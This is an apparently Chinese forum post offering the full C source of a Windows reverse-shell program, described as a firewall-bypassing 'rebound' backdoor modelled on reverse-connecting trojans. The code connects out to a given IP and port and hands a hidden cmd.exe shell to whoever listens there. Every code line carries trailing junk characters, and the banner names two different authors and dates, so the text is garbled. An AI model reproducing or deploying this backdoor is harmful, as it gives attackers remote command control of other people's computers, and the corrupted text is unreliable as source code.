这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 H;RwO@v
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/* ============================== ):iA\A5q[
Rebound port in Windows NT (o`{uj{!
By wind,2006/7 UFMA:o,
===============================*/ |\pbir
#include F$)[kP,wtO
#include l\i)$=d&g
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#pragma comment(lib,"wsock32.lib") Mo^ od<
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void OutputShell(); ^0Mt*e{q
SOCKET sClient; `nu''B
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @;"|@!l|
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void main(int argc,char **argv) {;2PL^i
{ dkz=CY3p%X
WSADATA stWsaData; .[_L=_.
int nRet; &v@a5 L
SOCKADDR_IN stSaiClient,stSaiServer; c
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if(argc != 3)
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{ ~sh`r{0
printf("Useage:\n\rRebound DestIP DestPort\n"); Z.L c>7o
return; E 7{U|\
} -qGa]a
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WSAStartup(MAKEWORD(2,2),&stWsaData); J\b^)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p>huRp^w
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stSaiClient.sin_family = AF_INET; [1S|dc>.O%
stSaiClient.sin_port = htons(0); Vh4X%b$TV
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~nay" g:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) LU!a'H'Q
{ 9w7n1k.
printf("Bind Socket Failed!\n"); 1ukTA@Rj&
return; 'DCTc&J['
} ,
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stSaiServer.sin_family = AF_INET; J| w>a
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <<][hQs
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .[ICx
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `r9!zffyS
{ W:pIPDx1=!
printf("Connect Error!"); W_"sM0
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return; uxr #QA
} 5@~
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OutputShell(); W*2BT
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} s Z].8.
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void OutputShell() z7fp#>uw
{ ?^al9D[:lz
char szBuff[1024]; *nkoPVpC
SECURITY_ATTRIBUTES stSecurityAttributes; -lY6|79bF
OSVERSIONINFO stOsversionInfo; nksLWfpG?B
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; '-Vt|O_Q
STARTUPINFO stStartupInfo; k_rt&}e+Gi
char *szShell; t.i 8
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PROCESS_INFORMATION stProcessInformation; ia!y!_L\'
unsigned long lBytesRead; 286jI7 T
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ga^"1TZ x
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;n*.W|Uph
stSecurityAttributes.lpSecurityDescriptor = 0; W}@c|d $`
stSecurityAttributes.bInheritHandle = TRUE; 0z6R'Kjy A
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $r@zs'N
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); B9jC?I |`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )Q&(f/LT
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [}E='m}u9+
stStartupInfo.wShowWindow = SW_HIDE; IL#"~D?
stStartupInfo.hStdInput = hReadPipe; @k,#L`3^
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k8&;lgO'
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GetVersionEx(&stOsversionInfo); X9W@&zQ
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switch(stOsversionInfo.dwPlatformId) [
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{ -P$PAg5"2
case 1: 8mvy\l
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szShell = "command.com"; O`IQ(,yef
break; MzdV2.
default: u&Yz[)+b=g
szShell = "cmd.exe"; /$Nsd
break; 5}l[>lF
} JzQ_{J`k
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vtg!8u4
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send(sClient,szMsg,77,0); i#n0U/
while(1) MS~(D.@ZS
{ k_#ak%m/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); QOGvC[*`<T
if(lBytesRead) {L{o]Ii?g
{ J5K^^RUR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oq
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send(sClient,szBuff,lBytesRead,0); XJ;57n-?
} ( Y[Q,
else Ko<:Z)PS
{ `,<BCu
lBytesRead=recv(sClient,szBuff,1024,0); `KoV_2|
if(lBytesRead<=0) break; m e$Z~/Akm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I{C
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} {UI+$/v#
} y'.p&QH'`
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return; ,]F,Uu_H7
}